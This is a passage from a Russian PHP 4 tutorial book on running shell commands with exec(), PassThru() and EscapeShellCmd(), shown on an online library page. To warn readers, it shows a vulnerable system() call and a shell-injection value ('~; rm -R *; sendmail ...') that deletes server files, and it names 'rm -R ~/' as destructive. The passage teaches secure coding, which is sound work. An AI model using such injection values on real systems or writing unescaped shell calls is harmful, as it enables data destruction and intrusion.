Druzya.org
Возьмемся за руки, Друзья...
 
 
Наши Друзья

Александр Градский
Мемориальный сайт Дольфи. 
				  Светлой памяти детей,
				  погибших  1 июня 2001 года, 
				  а также всем жертвам теракта возле 
				 Тель-Авивского Дельфинариума посвящается...

Библиотека :: Компьютеры и Программирование :: Котеров Д. В. - Самоучитель PHP 4
<<-[Весь Текст]
Страница: из 287
 <<-
 
апустит какую-нибудь разрушительную 
утилиту — например, rm -R ~/, которая быстро и "без лишних слов" очистит 
весь ваш каталог. 

Часть IV. Стандартные функции PHP 278 
Как уже упоминалось, выходной поток данных программы направляется в браузер. 
Если вы хотите этого избежать, воспользуйтесь функциями popen() или exec(). 
Если же вы, наоборот, желаете, чтобы выходные данные запущенной программы по- 
пали прямиком в браузер и никак при этом не исказились (например, вы вызываете 
программу, выводящую в стандартный выходной поток какой-нибудь GIF-рисунок), в 
этом случае в самый раз будет функция PassThru(). 
string exec(string $command [,list& $array] [,int& $return_var]) 
Функция exec(), как и system(), запускает указанную программу или команду, 
однако, в отличие от последней, она ничего не выводит в браузер. Вместо этого 
функ- 
ция возвращает последнюю строку из выходного потока запущенной программы и, 
если задан параметр $array (который обязательно должен быть переменной), то он 
заполняется списком строк в выходном потоке — по одной строке на элемент. 
Если массив уже содержал какие-то данные перед вызовом exec(), новые 
строки просто добавляются в его конец, а не заменяют старое содержимое 
массива. Учитывайте это в своих программах, иначе нетрудно получить очень 
нетривиальную ошибку. 
Как и в функции system(), при задании параметра-переменной $return_var код 
возврата запущенного процесса будет помещен в эту переменную. Так что функция 
exec() тоже дожидается окончания работы нового процесса и только потом возвра- 
щает управление в PHP-программу. 
string EscapeShellCmd(string $command) 
Помните, мы говорили о том, что нельзя допускать возможности передачи данных из 

браузера пользователя (например, из формы) в функции system() и exec()? Если 
это все же нужно сделать, то данные должны быть соответствующим способом обра- 
ботаны: например, можно защитить все специальные символы обратными слэшами, и 
т. д. Это и делает функция EscapeShellCmd(). Чаще всего ее применяют примерно 
в таком контексте: 
system("cd ".EscapeShellCmd($to_directory)); 
Здесь переменная $to_directory пришла от пользователя — например, из формы 
или Cookies. Давайте посмотрим, как злоумышленник может стереть все данные на 
вашем сервере, если вы по каким-то причинам забудете про EscapeShellCmd(), 
написав следующий код: 
system("cd $to_directory"); // Никогда так не делайте! 
Задав такое значение для $to_directory: 
~; rm -R *; sendmail [email protected] 
		
 
<<-[Весь Текст]
Страница: из 287
 <<-